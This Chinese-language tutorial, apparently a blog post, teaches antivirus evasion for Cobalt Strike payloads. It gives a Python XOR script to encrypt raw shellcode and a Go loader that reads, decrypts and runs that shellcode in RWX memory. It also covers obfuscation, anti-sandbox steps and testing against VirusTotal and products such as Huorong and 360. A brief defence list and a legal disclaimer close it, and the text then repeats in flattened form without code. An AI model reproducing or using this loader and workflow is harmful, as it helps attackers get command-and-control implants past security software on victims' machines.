CS免杀如何从0到1
字数 1488 2025-09-04 23:22:12

CS免杀从0到1实战指南

1. 免杀基础概念

免杀技术(Anti-Virus Evasion)是指通过各种手段使恶意程序绕过杀毒软件的检测。在Cobalt Strike(CS)中,免杀通常由两部分组成:

  • Loader(加载器):负责在内存中加载和执行恶意代码
  • Shellcode:实际执行的恶意代码,通常是CS的上线指令

2. Loader核心原理

Loader的核心功能步骤:

  1. 读取Shellcode:获取加密或混淆的shellcode
  2. 分配内存:在当前进程中申请可读、可写、可执行(RWX)的内存空间
  3. 复制Shellcode:将shellcode复制到新分配的内存中
  4. 执行Shellcode:通过线程或其他方式跳转到内存起始地址执行

3. Loader实现技术

3.1 基础API实现

传统实现方式使用以下Windows API:

  • VirtualAlloc:分配内存
  • RtlMoveMemory:复制内存
  • CreateThread:创建执行线程

问题:这些API已被杀软标记为高危特征

3.2 替代API方案

使用较少见的API实现相同功能:

  • 内存分配替代:NtAllocateVirtualMemory
  • 内存复制替代:RtlCopyMemory
  • 线程执行替代:QueueUserAPC + NtTestAlert组合

3.3 代码混淆技术

  1. 函数名混淆:使用随机生成的函数名替代标准API名称
  2. 无用代码插入:添加不影响功能的冗余代码
  3. 变量名随机化:避免使用有意义的变量名

4. Shellcode处理技术

4.1 Shellcode生成

使用CS 4.9生成raw格式的shellcode(该版本具有一定免杀性)

4.2 Shellcode加密

常用加密方式:

  • 异或加密:简单高效,易于实现
  • AES加密:安全性更高但实现复杂
  • 自定义加密算法:特征更少但开发成本高

4.3 文件分离技术

将加密的shellcode存储在单独文件中,运行时由loader读取解密执行

5. 完整免杀实现流程

5.1 准备工作

  1. 生成CS的raw格式shellcode
  2. 准备加密脚本(如异或加密)

5.2 加密Shellcode

使用异或加密示例:

# 异或加密脚本
key = 0xAA  # 自定义密钥
with open('shellcode.bin', 'rb') as f:
    data = f.read()
    
encrypted = bytes([b ^ key for b in data])

with open('encrypted.bin', 'wb') as f:
    f.write(encrypted)

5.3 Loader实现

Go语言实现示例(关键部分):

package main

import (
	"io/ioutil"
	"syscall"
	"unsafe"
)

func main() {
	// 1. 读取加密的shellcode
	encrypted, _ := ioutil.ReadFile("encrypted.bin")
	
	// 2. 解密shellcode(异或)
	key := byte(0xAA)
	shellcode := make([]byte, len(encrypted))
	for i := 0; i < len(encrypted); i++ {
		shellcode[i] = encrypted[i] ^ key
	}
	
	// 3. 分配内存
	kernel32 := syscall.NewLazyDLL("kernel32.dll")
	ntdll := syscall.NewLazyDLL("ntdll.dll")
	
	VirtualAlloc := kernel32.NewProc("VirtualAlloc")
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
	
	// 4. 复制shellcode到内存
	RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
	RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	
	// 5. 执行shellcode
	syscall.Syscall(addr, 0, 0, 0, 0)
}

5.4 编译优化

  1. 使用命令行编译:go build -ldflags="-s -w" loader.go
  2. 使用UPX等工具压缩(可能增加被杀风险)
  3. 修改PE头信息混淆

6. 进阶免杀技术

6.1 内存加密技术

  • 实时解密:仅解密当前执行的部分代码
  • 内存混淆:定期改变内存中的代码布局

6.2 自定义Shellcode

  1. 修改CS默认的shellcode特征
  2. 实现分段加载执行
  3. 添加反调试和反沙箱代码

6.3 API调用混淆

  1. 动态获取API地址(GetProcAddress)
  2. 使用syscall直接调用
  3. 延迟加载关键API

7. 测试与绕过

7.1 静态检测绕过

  1. 文件扫描测试(Virustotal)
  2. 特征修改迭代
  3. 多杀软兼容性测试

7.2 动态检测绕过

  1. 行为监控测试(火绒、360等)
  2. 内存扫描对抗
  3. 执行流混淆

8. 防御措施

  1. 定期更新杀毒软件特征库
  2. 启用行为检测和内存保护
  3. 限制非必要的高危API调用
  4. 实施应用程序白名单

9. 参考资源

  1. Loader技术详解
  2. Shellcode免杀进阶
  3. Windows API官方文档

10. 法律声明

本文仅用于安全研究和技术学习目的,请勿用于非法用途。未经授权对他人计算机系统进行测试属于违法行为。

CS免杀从0到1实战指南 1. 免杀基础概念 免杀技术(Anti-Virus Evasion)是指通过各种手段使恶意程序绕过杀毒软件的检测。在Cobalt Strike(CS)中,免杀通常由两部分组成: Loader(加载器) :负责在内存中加载和执行恶意代码 Shellcode :实际执行的恶意代码,通常是CS的上线指令 2. Loader核心原理 Loader的核心功能步骤: 读取Shellcode :获取加密或混淆的shellcode 分配内存 :在当前进程中申请可读、可写、可执行(RWX)的内存空间 复制Shellcode :将shellcode复制到新分配的内存中 执行Shellcode :通过线程或其他方式跳转到内存起始地址执行 3. Loader实现技术 3.1 基础API实现 传统实现方式使用以下Windows API: VirtualAlloc :分配内存 RtlMoveMemory :复制内存 CreateThread :创建执行线程 问题 :这些API已被杀软标记为高危特征 3.2 替代API方案 使用较少见的API实现相同功能: 内存分配替代: NtAllocateVirtualMemory 内存复制替代: RtlCopyMemory 线程执行替代: QueueUserAPC + NtTestAlert 组合 3.3 代码混淆技术 函数名混淆 :使用随机生成的函数名替代标准API名称 无用代码插入 :添加不影响功能的冗余代码 变量名随机化 :避免使用有意义的变量名 4. Shellcode处理技术 4.1 Shellcode生成 使用CS 4.9生成raw格式的shellcode(该版本具有一定免杀性) 4.2 Shellcode加密 常用加密方式: 异或加密 :简单高效,易于实现 AES加密 :安全性更高但实现复杂 自定义加密算法 :特征更少但开发成本高 4.3 文件分离技术 将加密的shellcode存储在单独文件中,运行时由loader读取解密执行 5. 完整免杀实现流程 5.1 准备工作 生成CS的raw格式shellcode 准备加密脚本(如异或加密) 5.2 加密Shellcode 使用异或加密示例: 5.3 Loader实现 Go语言实现示例(关键部分): 5.4 编译优化 使用命令行编译: go build -ldflags="-s -w" loader.go 使用UPX等工具压缩(可能增加被杀风险) 修改PE头信息混淆 6. 进阶免杀技术 6.1 内存加密技术 实时解密 :仅解密当前执行的部分代码 内存混淆 :定期改变内存中的代码布局 6.2 自定义Shellcode 修改CS默认的shellcode特征 实现分段加载执行 添加反调试和反沙箱代码 6.3 API调用混淆 动态获取API地址(GetProcAddress) 使用syscall直接调用 延迟加载关键API 7. 测试与绕过 7.1 静态检测绕过 文件扫描测试(Virustotal) 特征修改迭代 多杀软兼容性测试 7.2 动态检测绕过 行为监控测试(火绒、360等) 内存扫描对抗 执行流混淆 8. 防御措施 定期更新杀毒软件特征库 启用行为检测和内存保护 限制非必要的高危API调用 实施应用程序白名单 9. 参考资源 Loader技术详解 Shellcode免杀进阶 Windows API官方文档 10. 法律声明 本文仅用于安全研究和技术学习目的,请勿用于非法用途。未经授权对他人计算机系统进行测试属于违法行为。